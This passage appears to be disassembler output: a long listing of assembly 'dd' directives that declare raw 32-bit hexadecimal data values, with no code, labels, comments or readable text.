		dd 79AE05C0h, 0E0541718h, 8EB4D5FAh, 0CE2D886Ch, 9AAF0620h
		dd 0ED052C9Fh, 978C6F68h, 27D684F0h, 6469EC55h,	0EA398216h
		dd 48BDDC65h, 4934ED4h,	60495AE8h, 62848DC3h, 30FDE2D4h
		dd 0EC2767B5h, 6F3C6021h, 0D1F8B98Bh, 1C818F8h,	10865F9Fh
		dd 0E064130Dh, 44F24209h, 0A7F0B904h, 94813ABEh, 0E400FEF8h
		dd 5BF4A56Fh, 48042927h, 33321B5Ch, 0EF88437Dh,	0AF1FA1C9h
		dd 0ADC03E18h, 2A47EE68h, 85038575h, 0B2E4A310h, 45E630FEh
		dd 6F49B27Dh, 7CE3E18h,	8369A057h, 7FF69A30h, 8A1A2FBEh
		dd 3311C0B5h, 0DDAF9C80h, 294BD1BEh, 9F19D49Ch,	60C1F484h
		dd 6B232DF3h, 4465B871h, 2D4E241Dh, 9AA813Eh, 0B4427180h
		dd 0F6CA017Ah, 0E9A02411h, 86278B18h, 40F1DE19h, 8C3A172Bh
		dd 536840B3h, 5A1A096h,	1F00C4Bh, 818C2636h, 0AC3E485Dh
		dd 4A3C4090h, 523702Fh,	8224B600h, 0B844ADD9h, 0DB5900F4h
		dd 719965E5h, 4D6BABC4h, 0E43CC5B0h, 0DD1D60FBh, 5A690068h
		dd 3D78642Ch, 352ED466h, 467C303Fh, 11D002FCh, 0FBE79588h
		dd 7F417024h, 58205B02h, 2EE45475h, 4AE382C0h, 71240467h
		dd 7FBFF03Ah, 0D6709Ch,	0E19336E0h, 4E489245h, 8E1FBE0Ch
		dd 12E489E8h, 0E06033BDh, 9D1A6840h, 7C88C58Ch,	2F465EC0h
		dd 607F9100h, 6840BF38h, 4571DC05h, 98AC83F0h, 95BEE8C2h
		dd 7404C0F8h, 0E48B853Ah, 18A0390Ch, 0A7A8FB53h, 8F304B04h
		dd 14032E6Fh, 42F64E3Bh, 184853FAh, 0EC30F7A2h,	1A7F58D4h
		dd 48A5D018h, 850C9272h, 0D0768CDCh, 0EE9927ADh, 10E0B44Dh
		dd 4BD11A7Dh, 0C3DC4038h, 0BB8B1379h, 7762680Fh, 0CEAE408Ch
		dd 5A1C9CDh, 6DF2BD78h,	0E9AC927Ch, 1F0998D8h, 580AA084h
		dd 42CC30B8h, 0F4B7D351h, 22FE9F0Ah, 888034C9h,	0ED7142A5h
		dd 0A702008Bh, 3A51332Dh, 0BA0007D4h, 3B9506ADh, 17C60BA6h
		dd 0CBBB0CA3h, 0C0F6C854h, 0AA46F537h, 5C6E1600h, 937AE2C6h
		dd 4EE8A8F2h, 4898006Dh, 0DAACF97Dh, 1B282CA0h,	425B42Ah
		dd 0A68C48F0h, 0BAC41219h, 6C4802EBh, 1F27456Dh, 0C7FF8473h
		dd 16F592E3h, 0CBEA4931h, 4A8F1ECCh, 30F0B04Dh,	76BC403Ch
		dd 8D19268Ch, 162F0720h, 0DC842091h, 0EC5CB22Bh, 238C0854h
		dd 0B5F4007Bh, 66C3946Fh, 0FD0311C2h, 39784120h, 77802828h
		dd 0B85FA5F6h, 7D02FDE2h, 78D11D65h, 6264D9E9h,	1F0022FCh
		dd 8FF83C34h, 96024E11h, 791FAC6Fh, 467634DCh, 8D0E72FDh
		dd 25C5D5BDh, 0B890F1D6h, 9CF26669h, 0AC00028h,	601504DEh
		dd 0E5EA3900h, 45C3F3A0h, 0F170B98Bh, 4118F6h, 0A8ADE6BCh
		dd 141A33A5h, 0A3251304h, 8481EF62h, 0C503C6F8h, 41D603F9h
		dd 0EEF38988h, 0A7C4452h, 4E4530BEh, 5D5C58C1h,	0DA34746Bh
		dd 61BEC054h, 0EEBB2519h, 0E3CF0182h, 0BC67F9A1h, 437C748Dh
		dd 0C7D76025h, 60F5C4C0h, 70D02A09h, 51F894h, 0C192FBB7h
		dd 256DCA39h, 6B824915h, 9CC84A7Ch, 0EED30E97h,	3A1F5885h
		dd 0F324C780h, 891996Eh, 0F44A071Fh, 0E5DDE30Bh, 6133C4B4h
		dd 0C6C8B86h, 0D8128D01h, 6A1D1540h, 0AE26E448h, 74465ED4h
		dd 0FF325004h, 0D09CEC6Fh, 43F8E8D0h, 6F8A024Ah, 405F738Ch
		dd 0CC72097Ch, 75940B69h, 0C117DE00h, 683D3F34h, 741C07C7h
		dd 403B19BEh, 0AFB26FE5h, 2A07B516h, 0B60A9440h, 25D561E1h
		dd 48E19B33h, 0EC4118F7h, 8730FAB7h, 86390039h,	0C4118458h
		dd 985A69F7h, 28686A8Bh, 0E648BDF3h, 158905Ch, 0D2BA9537h
		dd 34D4E0D4h, 0EC2404F8h, 0E254A3FBh, 3031F23Ch, 0F018B115h
		dd 90E84485h, 2C725805h, 0FEE42079h, 0A78FEF09h, 7960F959h
		dd 5021834h, 9DF0D68Fh,	3924D080h, 7094A35Dh, 76FD465Eh
		dd 0A08DE127h, 65BC6A18h, 5A88BA19h, 23C02F86h,	1D3100F5h
		dd 17DD4FCCh, 8F5B2301h, 2DD1DC67h, 0BC3C206Bh,	0B61CA61Bh
		dd 108A4E52h, 1740D490h, 0D9C347h, 7CC6C9C8h, 0DA012A80h
		dd 0E8A2BC02h, 0D6559A60h, 121764Ch, 7043804Bh,	0BCA61CE3h
		dd 7186FB60h, 9E92CF2Fh, 296A80BCh, 3D128742h, 0C6C00A01h
		dd 23A33B1Eh, 54B3FCF3h, 0C96FE41Dh, 0A8039837h, 0E05D2AA1h
		dd 0BBB8F4h, 0C91A42C5h, 0A7B06E98h, 0F884AD48h, 840F8C61h
		dd 2512F694h, 4B46A7Ah,	20A098F5h, 461221BDh, 0CCB2A265h
		dd 0D3060F2h, 3BEE00FAh, 9A2BD534h, 2902BC65h, 0C883F047h
		dd 708CFBD8h, 0F3397EBCh, 2AD69D62h, 78C2C549h,	897BD58h
		dd 0F880FD91h, 6980434h, 9E6CB900h, 65AD6F73h, 2351751h
		dd 0B37457A2h, 3034A2D0h, 6805B0CBh, 0F7086DF0h, 0E61A78A0h
		dd 9AE14BA7h, 313C0E8h,	6F23FAh, 0E8932F50h, 0E44C6BBFh
		dd 78F940B0h, 0B8845C88h, 0A6008CF8h, 702F690Ch, 7B0184C1h
		dd 0BB05EBEh, 3CC550F8h, 62EC7FEBh, 0F3788900h,	2C9F7F7Ch
		dd 9509000Ah, 6032AD1h,	0F9028B58h, 880FD82Bh, 1ED2D76Dh
		dd 1B28C60Bh, 0EB427DB9h, 58CF53DDh, 0FD00C485h, 8B05A880h
		dd 0C501CDB5h, 2FC18378h, 17232Ah, 8796C1CAh, 0A9508589h
		dd 3B0606C7h, 0C860FD9h, 0BD8B0CC3h, 661C08F9h,	7CB58C7Fh
		dd 1B465CD6h, 0D8590C00h, 0FB80A686h, 0A158DB62h, 0C1F60010h
		dd 84350F04h, 0B6BA35A7h, 0F967B0BFh, 66A70077h, 0FF23B9BFh
		dd 116BA595h, 0E3685764h, 6073CE67h, 80E7BA3Fh,	815B1D5Fh
		dd 15621DFh, 0C32B6669h, 0A008343Dh, 5C70862Eh,	0DE3AFCB7h
		dd 0E8F9DA0Ch, 84150Fh,	0BC8188C1h, 3176A44Dh, 151B8302h
		dd 40ABBA23h, 0B9DD718h, 4AE95F8Dh, 649BE775h, 0A6356018h
		dd 8FB60BF5h, 0E55DC08Bh, 631AC48Fh, 0A82283E0h, 90C90A0Dh
		dd 34D203Ch, 0D8C1FFEDh, 0C7F3EC66h, 25CD8518h,	2BA3FD1Ah
		dd 78E275F4h, 752DCEE2h, 7DA1DD7Dh, 0B106820Fh,	0C918225h
		dd 79BD8100h, 0D00C2864h, 850FAF90h, 292DC216h,	0FF27A1B5h
		dd 505642C8h, 31113F40h, 355E5F80h, 0AF20B5FFh,	1AA25CB3h
		dd 8CA130h, 0A6E3C483h,	0C5BD0B1Bh, 0B9953EA0h,	0F0001F41h
		dd 5BEE8ACFh, 716BBF90h, 0E4C5E60Eh, 92995FC0h,	8AA0D5A9h
		dd 0E88029FDh, 222FC00Ch, 6F953C02h, 5185D400h,	152109C4h
		dd 0D6FA488Bh, 10A89D3Bh, 55EF144Ah, 791099B6h,	0BE560322h
		dd 0ECD92C77h, 20F510C1h, 74C0805h, 6111B380h, 50EFB476h
		dd 98DDAA6Ah, 0A9F6B74Bh, 0A1B701DCh, 0D1B58960h, 0FC489923h
		dd 0A55041DEh, 5ACEB70Fh, 2140BA61h, 1A085D9Ah,	64F30060h
		dd 772D9CF5h, 31F8BD89h, 60A876B7h, 8143CF37h, 0D690FA90h
		dd 24D0B0DFh, 65192B3Bh, 90330C0Fh, 0BE030A80h,	41AA54Eh
		dd 8E25542Ah, 0D64BD6B7h, 2784300Bh, 0DAE28049h, 3835E9F5h
		dd 0F9AFFF8h, 71842B8Fh, 88D68EC1h, 0C77C018h, 0D6B712EFh
		dd 151840CFh, 7AFE3382h, 11B7439h, 0E16E639Ah, 0B1704EBh
		dd 609D4D5Dh, 0D2B3D5C9h, 758E3250h, 98B0340h, 11858DF7h
		dd 95C3A72Fh, 1D152C65h, 38AD29BDh, 66528050h, 0F4BF0BEh
		dd 0F2537631h, 8B7098Bh, 17025A5Eh, 0F3D72404h,	691C5864h
		dd 0B3CD669h, 2EC5D0Ah,	0D64F54B7h, 0EC0A8722h,	0D04698Eh
		dd 0A1EC378Fh, 87EFD9CCh, 6FA35FEh, 0B9BBB719h,	1B50A880h
		dd 0BEB8EA60h, 97DCE109h
		dd 0F1C40210h, 0C0830124h, 0E5933105h, 0BEA64090h, 7A286AE7h
		dd 0F2F8A768h, 0BFE8A2A3h, 0F512A7E3h, 0CC6F9010h, 1CE7B113h
		dd 4C69CC13h, 0B52D2B44h, 87287D31h, 813DED2h, 90056621h
		dd 0F6EA0CC9h, 0B094F0C1h, 6B3E4C0Ah, 3B03E910h, 97471D8Dh
		dd 52B7FD6Dh, 3577C700h, 273B013h, 0B61CC66h, 6648B9B5h
		dd 0CCB3D3FFh, 1609CD78h, 9DD2758h, 2042154Bh, 0F7802635h
		dd 14D9EECDh, 0CC734DE9h, 0FB62EE5Ah, 4F46423Fh, 0E48A42CAh
		dd 8684B5C7h, 7D14013Fh, 8B465B01h, 0AC05BD9Dh,	0F9607928h
		dd 2BA9C2Ch, 0DC9CE4Eh,	22604036h, 160ED849h, 18E3815Fh
		dd 4DB5234Bh, 0B12C489h, 7DDE0BDBh, 1FCDFE18h, 2DBD8380h
		dd 0A4FFF84Fh, 54541057h, 3BFE60Ch, 2641E930h, 21AC86D1h
		dd 0D21D2055h, 23093B75h, 0A7350F17h, 0B50921A1h, 0E9998D11h
		dd 3A4E5552h, 0C4C01888h, 0B364DE6h, 19BD0380h,	4E5A6228h
		dd 1AEC3014h, 4AF8018Ch, 39D258EEh, 99221A2h, 20BD6ED8h
		dd 125BB3ACh, 0EC8F40FBh, 0F3CBC1Ah, 56DAA800h,	0E5C42D23h
		dd 65370326h, 815B71C6h, 0CBFEFFD9h, 23622E9Dh,	1BD50B15h
		dd 497D2B07h, 41DB4B69h, 10CD1F7h, 282CC3F6h, 54B73022h
		dd 313C4CDEh, 462A2E69h, 713CB011h, 0AD4FB129h,	6C4F12FDh
		dd 58B09223h, 0E9C652F8h, 8F94C77Fh, 98CE0EDCh,	0A1C2284Dh
		dd 71E693B6h, 5A575107h, 223035CCh, 2FEA0EB7h, 115D52A6h
		dd 0E6C65EB3h, 64E500CBh, 9E4910B7h, 0F5E0B05Ch, 8D70E624h
		dd 35D3CE01h, 8A3671E4h, 6CFF3CF0h, 28C5D201h, 60DBED9Eh
		dd 84AE8AA1h, 0F26F585h, 0D8B6A461h, 46C06DDBh,	17AC41D3h
		dd 5B2FBA51h, 0F03CC118h, 9E608B60h, 0FE9BDD0Bh, 25BCE35Dh
		dd 1835FA0Eh, 208ABE8h,	70CA584h, 304A5C1h, 8580DEB3h
		dd 3CE2F7A9h, 93FB7809h, 17036047h, 95509361h, 0B719E6EBh
		dd 0F7B70FA1h, 8ED15B2Dh, 74BC5ACh, 20A25034h, 24A94300h
		dd 0BAE51063h, 0E30F1D1Eh, 0F60EF597h, 5F171021h, 6B88AAB0h
		dd 25740EECh, 54203D9Ch, 606B2F41h, 0A3F1A48h, 0C4FBBF0Fh
		dd 26898D04h, 0B511CA10h, 8E4B5113h, 0FD3CFED8h, 7DD5834Bh
		dd 1C6426C7h, 254FC760h, 7921C500h, 296B14A8h, 98DD559Dh
		dd 1B834E54h, 0BA8F2781h, 7ABD3319h, 6E4EA3FDh,	979B01D9h
		dd 4BAFCA1Dh, 0B1ED6Eh,	6E5F6056h, 30F0765h, 0E07EF6CDh
		dd 929406C6h, 1D48F821h, 0E95D8501h, 662351B2h,	5764F08Eh
		dd 23C50477h, 0B02D1BDh, 826D7F58h, 852AF60h, 0BFBEEA9h
		dd 88280FBCh, 96FF7949h, 7588F82Bh, 0CD8D2529h,	0A5BD04A3h
		dd 5D5AA6CDh, 276A88Eh,	2A5721FBh, 57D2D01Fh, 0B722C06Bh
		dd 0B2092EEh, 7042FA3Ch, 70114779h, 58010850h, 0BAA51929h
		dd 19B1BF4h, 1FEC904Bh,	30D0D9A2h, 8909DF03h, 0ED5B5E21h
		dd 512EC085h, 2B76253Fh, 11820F19h, 6939E81Fh, 9E18A43Fh
		dd 7DB59C8Eh, 5E5A1692h, 290D5F62h, 2AE9A9C0h, 0EE8795B9h
		dd 0C0C4A2ABh, 0C5C387DBh, 0D9D1F36Eh, 69F8D598h, 6BEA5B0Bh
		dd 0B51E28F7h, 0B206920h, 28A98529h, 12F18190h,	0CB3B0CC0h
		dd 0C0FC1DDBh, 8AD681B8h, 2C5A01F5h, 9C39093Ch,	19467C74h
		dd 0BB17A001h, 6805C1CBh, 0B3C8D224h, 49F10042h, 248D34ADh
		dd 9F1C7D47h, 0D1E6ED1Ah, 1B46DCh, 9D0B55F8h, 4DAD1167h
		dd 9B96D78Ch, 646E8B48h, 76E40086h, 26B26B71h, 474CCD46h
		dd 2E40743Bh, 0BE661D90h, 0DED6E48Bh, 6BAFDCB7h, 0A8474875h
		dd 92D20053h, 0AB0F5514h, 0EE002329h, 0A5C65157h, 2CD5ED48h
		dd 181AFC7Fh, 81FF06F0h, 0F7B9CF03h, 9605B29h, 131B0696h
		dd 54083E84h, 10611083h, 0E959510Bh, 0D880A393h, 0E5073097h
		dd 7946CA9Ah, 0F761DB72h, 15588973h, 0E07B008Dh, 0AC84D7DDh
		dd 6604EA48h, 601B0BBFh, 0FAC7AC83h, 17A603Dh, 0BF838221h
		dd 83261D9h, 9DFAD4F3h,	801811E0h, 0E871B5EBh, 0F346CB34h
		dd 1E9DBA82h, 0E520B17Ah, 453BB02Ah, 4D189D26h,	827CB7E0h
		dd 0F8E3D680h, 10CAEEFh, 0DE3E54F4h, 0F42D55C2h, 0C10C63A3h
		dd 3E6160EDh, 5F57CEE9h, 5C43CBABh, 0C02014D2h,	7BDF75h
		dd 0C428DB2Ah, 3B4E1176h, 0E2CD4300h, 0A2640AD6h, 8C0F2CE0h
		dd 4E1C3B3h, 138EAD11h,	99BD2B0Eh, 0A78CEEF6h, 0AF5F1FA7h
		dd 607181D6h, 3DC18BE0h, 2D28B83Bh, 801878F5h, 912DBD0Bh
		dd 0E787A117h, 6368F838h, 9F9AAED7h, 0CC90BED6h, 921C96D4h
		dd 74412A8h, 13180750h,	0CE02A833h, 0F96A206Fh,	1816D17Dh
		dd 73D2021Ah, 1CE1BD33h, 95B50548h, 0CE54678Bh,	0A307D55Eh
		dd 301BA24Bh, 48016ED8h, 0E7DB37ECh, 2A20317Ch,	4B47B417h
		dd 0F9825137h, 81526033h, 50816B89h, 25EFD7D0h,	0AF804393h
		dd 2D5CBE56h, 6F5ED9E1h, 6FBC77BDh, 89518E0Fh, 0E750968Dh
		dd 8C1BEC27h, 7EB7921Ch, 0ACF07A8Fh, 8AC158C0h,	0F2AE6A7Bh
		dd 0B904FD4h, 674E2878h, 0FF5F5309h, 0C12F83D3h, 75704F30h
		dd 0DDB3BF25h, 6A6336F0h, 0BA01ABE2h, 0E9CF7CE3h, 2968093Dh
		dd 244A68B2h, 11AD3D40h, 86D0C7BEh, 0F2014137h,	29031D04h
		dd 0D3B7D9Dh, 924D268Bh, 2DCB4AEh, 3EFD426Ch, 26D1CCC5h
		dd 2192F996h, 0FE81197Bh, 7D9CF11h, 0C2E14D08h,	0A47866DBh
		dd 631A649Dh, 0E9F5032Dh, 0B925566Dh, 0E8F6AFF0h, 0FE808305h
		dd 83C46B18h, 84E55A1Bh, 54E90398h, 0BED57535h,	211B21A2h
		dd 31372FE4h, 99A55101h, 5A346378h, 4D2A48FBh, 0B469E045h
		dd 27000EBCh, 0AF3A6563h, 0B4D6B23Bh, 0E4E86512h, 0EC00D7BAh
		dd 7D8E0234h, 122CC140h, 908A0F44h, 34E1BE87h, 5F7BC416h
		dd 90C20A84h, 1707D1F9h, 439EABA1h, 6841698Eh, 0C9165B57h
		dd 0FD7F20C7h, 12312240h, 0DD1FE595h, 0B8F27D11h, 853F0071h
		dd 0E6A3EBEAh, 0BF054B22h, 193E9ABEh, 0E9FE20C2h, 8829023h
		dd 830F50F7h, 0FA15328Dh, 3970F25Bh, 3B9E269h, 0CE9B2838h
		dd 750BA68Ch, 40258501h, 492CE9BAh, 66EC2505h, 6DBAD500h
		dd 0F6B70F4Eh, 64CBA7B0h, 16B601Ch, 59B700F3h, 2D8217A1h
		dd 269E70E6h, 0C4D8B609h, 0A43B03BDh, 0DF733714h, 806051D8h
		dd 42DF573h, 113235A5h,	9EBC8216h, 28F1DF59h, 0C1450928h
		dd 92F9A003h, 70025BC3h, 64029DB6h, 0AB4C9AEFh,	0EDC58234h
		dd 0C38F091Eh, 13340D0Ah, 0BF23C5F3h, 0A262B4h,	2CBBDA97h
		dd 3B0F65E6h, 3112D24Fh, 0BA89D39Bh, 19757D02h,	3DB25705h
		dd 9D7A1Ch, 61EBE039h, 0D84D2B5Fh, 0B4EBC0Ah, 2C82E4B0h
		dd 8898627Fh, 1A2822F5h, 227BF949h, 8951A002h, 3924521Ch
		dd 8F301DE2h, 635C001Ch, 17CF4B48h, 0F14D890h, 2D3A0C8Ch
		dd 0B573908Eh, 29314129h, 760DADF1h, 1F2CF4F4h,	4918B909h
		dd 0E122F077h, 78F78531h, 0EAFB94BCh, 4605D6B9h, 416558A7h
		dd 11ECD830h, 91D16E4h,	0FAC50508h, 87B6EBB0h, 0EBFFD1E0h
		dd 0C0D3A624h, 82788523h, 62480134h, 1E76BBB4h,	6356505Dh
		dd 187FCF86h, 2D74E42Eh, 561B6439h, 5D0013B2h, 4DF57707h
		dd 0E058ECC3h, 99BE0905h, 9D0988CAh, 1C4674h, 0EAF50205h
		dd 2D89777Bh, 50A408DCh, 0EA3F95AAh, 8BB061A6h,	0F8E6CF35h
		dd 0E9BC559Ah, 201601DCh, 86A4974h, 31643351h, 0F1FCFAF8h
		dd 6B263C31h, 0B39ADF0h, 2BB9289Ah, 0E8181979h,	78251804h
		dd 3AD41E1Fh, 1723452Eh, 5773CF02h, 812960BCh, 37470EDFh
		dd 0C7C0014Dh, 125CA719h, 40BA585Bh, 4A8DAA7Fh,	6709CBE1h
		dd 278FB3Fh, 0DA5EF0AAh
		dd 1CC2058h, 1DD0E84Ah,	0D34495h, 0A9BA09DFh, 0E294AF4Dh
		dd 2DF55702h, 0D95F9EF6h, 2D10276Dh, 35ECCDC2h,	0B4234F00h
		dd 7DFCF83Ah, 95891257h, 5EC6C271h, 15F179D9h, 0F6508E18h
		dd 0E55BA2E6h, 16D7845h, 770206B6h, 0D94750A4h,	800099E6h
		dd 82C1BE20h, 269B6727h, 0B9EFA6Fh, 92A55FFBh, 7A6EBD9h
		dd 21EC31B1h, 8C96685Dh, 0BBE9305h, 6046A91Eh, 0CA938494h
		dd 0FA99BC58h, 8F860123h, 9257D983h, 0B8A82D5Bh, 8B0F1754h
		dd 498AA18h, 0E3B000A3h, 0B8172772h, 0BE011FD8h, 0FA01546h
		dd 0FAF38E4Ch, 1D75795Fh, 0DCB3C0DBh, 98ECBB9Ah, 0A5FF4B09h
		dd 0CC518727h, 7EE66710h, 0C32B2F50h, 0A402CAB7h, 0C68D0F30h
		dd 62F35B6Dh, 0D3DF4FE9h, 0E0E9D3A9h, 0F804202Ch, 57B58B2Fh
		dd 42E92382h, 0D3E15BFDh, 5B1220E0h, 16858302h,	98C08BDDh
		dd 3A9C5B4h, 0C27BF706h, 48881D90h, 0DA0298F5h,	2166FE26h
		dd 1749F054h, 945E9E41h, 4726B25h, 579AB96Bh, 15EF8Ch
		dd 4B8F5ED3h, 591BC754h, 0AF1DCD7Eh, 3DC5ABB1h,	0F0EE9D89h
		dd 5F125ECCh, 8EE485C7h, 142B165Dh, 50FC1E1Ah, 0A2DE6E01h
		dd 7E13E595h, 6A60D947h, 1423FB3Eh, 398D4917h, 0AFB8606Dh
		dd 0DD80B80Fh, 0D6B31237h, 2CD72675h, 164D1219h, 0F6AF61E1h
		dd 7D0E2053h, 0BB5F1140h, 0B472474h, 4BB148CDh,	0F0606690h
		dd 0AB8F0C1h, 0CDB37E9Bh, 306108C3h, 6FE60F1Dh,	8FD9BF40h
		dd 296E0915h, 0C2D0E19Dh, 0F8E57B94h, 0B08FF6EAh, 0FC2969F9h
		dd 60750553h, 0CC175784h, 9F01DA2Ah, 0DD82E791h, 83A3831h
		dd 0F324222Ch, 0D520050Bh, 72E078EDh, 3162D283h, 0B54E3626h
		dd 8BBF002Eh, 3E212F69h, 0FC01BE37h, 6F4DE913h,	9580442Eh
		dd 85105275h, 83B3026Fh, 0D891BD89h, 4BF2FAC5h,	0A01F2761h
		dd 7FA6BF5Eh, 0D5729905h, 31A6C36Eh, 0F70CFFE0h, 9B83B102h
		dd 828AAA5Bh, 31C5A5h, 0FFF6C9E9h, 41BDECE3h, 0C18F2064h
		dd 1A887B8Eh, 0CA93B9C0h, 0C69013C5h, 0B277F636h, 0B6CF3016h
		dd 0A35215Eh, 35D2E4EBh, 598B1A00h, 58A516DDh, 78C23953h
		dd 0E56EDF00h, 505FFCC8h, 0D52F66B6h, 14011737h, 60B97194h
		dd 8A197B20h, 59944C66h, 10F68700h, 1D5A7Eh, 3C70C6Fh
		dd 5094D5E0h, 0FC61D700h, 0B1FFDB81h, 82277893h, 3C65F618h
		dd 35EC0600h, 534A5FAh,	9B22D380h, 96158063h, 58C2F3h
		dd 7346F4B6h, 0B5852950h, 5E50F092h, 0E3B3EA7h,	6BBADF07h
		dd 0CA23260Bh, 0C405B10Bh, 8B501543h, 9B4EB7F9h, 0E52881C3h
		dd 872F1502h, 0E4644B73h, 1A5510C4h, 0F1E5560Fh, 0EC2AA85Fh
		dd 0C9028C19h, 727453CAh, 138D5EA2h, 0BBB123A9h, 7861FDF9h
		dd 3CDD625h, 5B7FF62Ch,	29FE31D3h, 38AD6DBDh, 96082DE9h
		dd 0E4822E0h, 269D9511h, 0E02B52E2h, 4EB3EF6Ch,	4863535h
		dd 0E2151E2h, 599DE361h, 33F6BD31h, 0BDCA5BF0h,	0CD2DD05h
		dd 0E2EE4EF8h, 0B5230B68h, 0B433780Dh, 0E9C86CF5h, 1BCC214Fh
		dd 0FA35D7B2h, 7EC3A89Ah, 2BD0D546h, 0E4DFCBC4h, 0BD5EE825h
		dd 70C2FC6h, 6D69B2DFh,	5E80EF3Eh, 59A6C17Ah, 0E0DB620Ch
		dd 4171707Dh, 5394132h,	57E90104h, 5C4D3DA5h, 2C7A4BC0h
		dd 5EB40097h, 25F2E02Ah, 892ABD23h, 0B5179E06h,	1B962E61h
		dd 6536B6E8h, 0D8E4EEF9h, 0CD951509h, 229C1626h, 5159897Ah
		dd 495C51D4h, 0DDA97A0Bh, 1914C0ACh, 10871413h,	355B23E1h
		dd 0F25A8213h, 0A142057Eh, 85010017h, 0B19F321Dh, 8B113A0Bh
		dd 0D8532CF0h, 821F395Eh, 659CD844h, 0E34700DCh, 0F5896E7Bh
		dd 755CDF2Fh, 9A37139Ah, 2504D908h, 0A6A75790h,	73D95701h
		dd 0D90D2B9h, 1F763F73h, 717F168h, 204C5F0Eh, 5CB3DF81h
		dd 0B056871Ch, 7E23317h, 470E613h, 42BED89h, 818E71E4h
		dd 0E9C01D88h, 26D30AFh, 874EE59Ch, 54782EDCh, 0DC409Eh
		dd 562E4639h, 0BD8D291Fh, 1B7A29Ah, 5EEDC401h, 0BCC0343Bh
		dd 3E9E7325h, 63781A2Bh, 3A7914F3h, 9C012CE9h, 0CA94F719h
		dd 0F31920B0h, 0F52F4A9Eh, 7B80C3B5h, 39EA62Ch,	0D82B2F69h
		dd 283D5D40h, 0FF600F83h, 59490961h, 6F1C2A19h,	1523693Ah
		dd 0D7E5F80Bh, 0BF06F9E4h, 30BCB5AFh, 17F95B78h, 0B265A615h
		dd 0F08E3114h, 281677EEh, 3DDD6396h, 836A2Bh, 0F5840EC9h
		dd 4885E1BCh, 1510D0DCh, 37B02F04h, 13D99DB9h, 2F508CEh
		dd 0BA30FBA6h, 48063B7Bh, 874FEF4Ah, 6E64B93Dh,	8BF8BF24h
		dd 0A958631h, 47E8F404h, 1FC97A8Ah, 0D2DD15BFh,	0AD4E3427h
		dd 14B872h, 0BFD41F8Eh,	0A4339C7h, 369DAA0h, 81768082h
		dd 2435E4F7h, 0A57B3E08h, 9C005CDh, 10017485h, 552119B5h
		dd 0C1271A72h, 601CE263h, 8BDA9C40h, 8DD2C95h, 9B7AA8F6h
		dd 0C8291FCFh, 581F0201h, 5385B5CFh, 130F5FF4h,	0DE019788h
		dd 0ED6D8030h, 131648A8h, 12E22E1Ah, 0B9D9D1D7h, 0ECEF2907h
		dd 3E672E14h, 0C88B0B72h, 11E1C583h, 0C183E915h, 61B82Ch
		dd 49BF7295h, 81400EF9h, 121AC74Ch, 0B5A93A5Bh,	0E04BA6D2h
		dd 531ED8Ch, 743E4A28h,	5B40E3Fh, 46815A10h, 2F20678Eh
		dd 0D2831693h, 0DBFC8419h, 0F442C00Bh, 0B9F2272h, 9B9378A9h
		dd 9269036Ch, 0B5ABB82Fh, 0CE06EBADh, 1B40B298h, 0E8C3272Bh
		dd 3215A3C8h, 806FF23Dh, 94847FBBh, 48233A21h, 4B5F2631h
		dd 0BE645FA6h, 38449C00h, 20FFE08Dh, 114E1687h,	499698B6h
		dd 80FABD95h, 0D2A678E6h, 8E25DC67h, 0B6B1C437h, 0B903DC64h
		dd 8B0123CAh, 31C090FEh, 5F29789Dh, 0AC33BA03h,	0EAFDE289h
		dd 0AF857999h, 80661F5Dh, 0A90CF97Ah, 0A11315Fh, 0D40205E8h
		dd 0B318B6E4h, 1351A440h, 0B8F95F80h, 0E9A095E7h, 7BA2E9D9h
		dd 8D27EE90h, 517AA220h, 0EC51FF1Eh, 131816F1h,	89207502h
		dd 0D3323185h, 532E64A1h, 1DC885DAh, 6EB632C0h,	513C1E5Eh
		dd 0FAFE49BDh, 0A55B6D8Bh, 10A8E12Fh, 23BC6F2Ah, 88270019h
		dd 0A11354B7h, 2CE3CE98h, 8B9009D5h, 700873F7h,	150BCE42h
		dd 892AFA98h, 7187D327h, 0F8DCD207h, 70412F40h,	0A1FB00F6h
		dd 9762BD21h, 8912249Ah, 10C24D8Dh, 0EB5BFD5Eh,	905B58h
		dd 0F6B98F1Ch, 28029682h, 80035EBDh, 2015C6C1h,	0FB0044FDh
		dd 536CAE8Fh, 1D1E8DB6h, 7929F9EAh, 0F5810B4Eh,	0C6856437h
		dd 0E2EB8678h, 0CF8101D0h, 456AEA0Ah, 1105E488h, 73BE5700h
		dd 0C4284AAAh, 91ED9DD8h, 32820F8Eh, 12326A3Dh,	33F5BF40h
		dd 0BB625FFEh, 0BDA2EE40h, 257DA5h, 0D8094D0Bh,	3CDF60D6h
		dd 18484075h, 81897BF6h, 0F0DC6EF8h, 7902B562h,	0B17E23E9h
		dd 0DEB92Ch, 4F943AA8h,	8A871C08h, 0BCB96059h, 4A7A01D1h
		dd 6AB267E8h, 0B3C4D683h, 61242775h, 7701808Ch,	0C1858B57h
		dd 5E381D38h, 0CC8EB9A5h, 0E2C0F454h, 0A05237EDh, 80C4A239h
		dd 40D9B2E4h, 0B5E9F88Dh, 869DA790h, 0CC71D100h, 8F289C1Ah
		dd 4A840175h, 598D2172h, 587A7E31h, 46AAEB19h, 264165C9h
		dd 0BFB7F0E3h, 808B0ED9h, 4B95F1CEh, 83C8C05Fh,	5E9801E1h
		dd 0DBA0544h, 33E709FBh, 637EA42Eh, 1C467Ch, 0DB6A3ADEh
		dd 6323F68h, 85294A64h,	3E8983CDh, 0B5891007h, 50F96D9h
		dd 0F86061F8h, 0DB81C087h, 53A3ABC5h, 0DB4EDB18h, 72598282h
		dd 28E3F895h, 27B549E7h, 4BEF293Dh, 32175140h, 0D058060Ch
		dd 54C2BF5Ah, 0F535E895h, 0A9C051B7h, 0AD7F66A1h, 0B23773CAh
		dd 0CD204580h, 12DEC2F1h, 41EA03Eh, 1B28C571h, 7A845B72h
		dd 36ED01FBh, 70937F60h
		dd 0BC58261h, 8A15604Ch, 25012A46h, 39735949h, 0C960A521h
		dd 9B4C026Ah, 0EE580AD2h, 7173ED89h, 71A1F70h, 52A2AE6Dh
		dd 8B9C803Dh, 1A92499Dh, 0B5B70BAEh, 0C41817AFh, 0E0D15099h
		dd 7B12F116h, 9E1401E3h, 29176EA1h, 5507AC8h, 11BD89DDh
		dd 3BE4FD2Fh, 0F537D18Dh, 2F7A6A05h, 0DB23047Ah, 827F5403h
		dd 0F24BD3EFh, 0B26445ADh, 1ADD32EFh, 200EE822h, 63264988h
		dd 0DE589A00h, 0BA1337B4h, 4C79BBh, 0EDFFC081h,	8B5B11D6h
		dd 0B86658A8h, 815A9B00h, 3E5DBECBh, 4A33A92Bh,	7FED3B6Dh
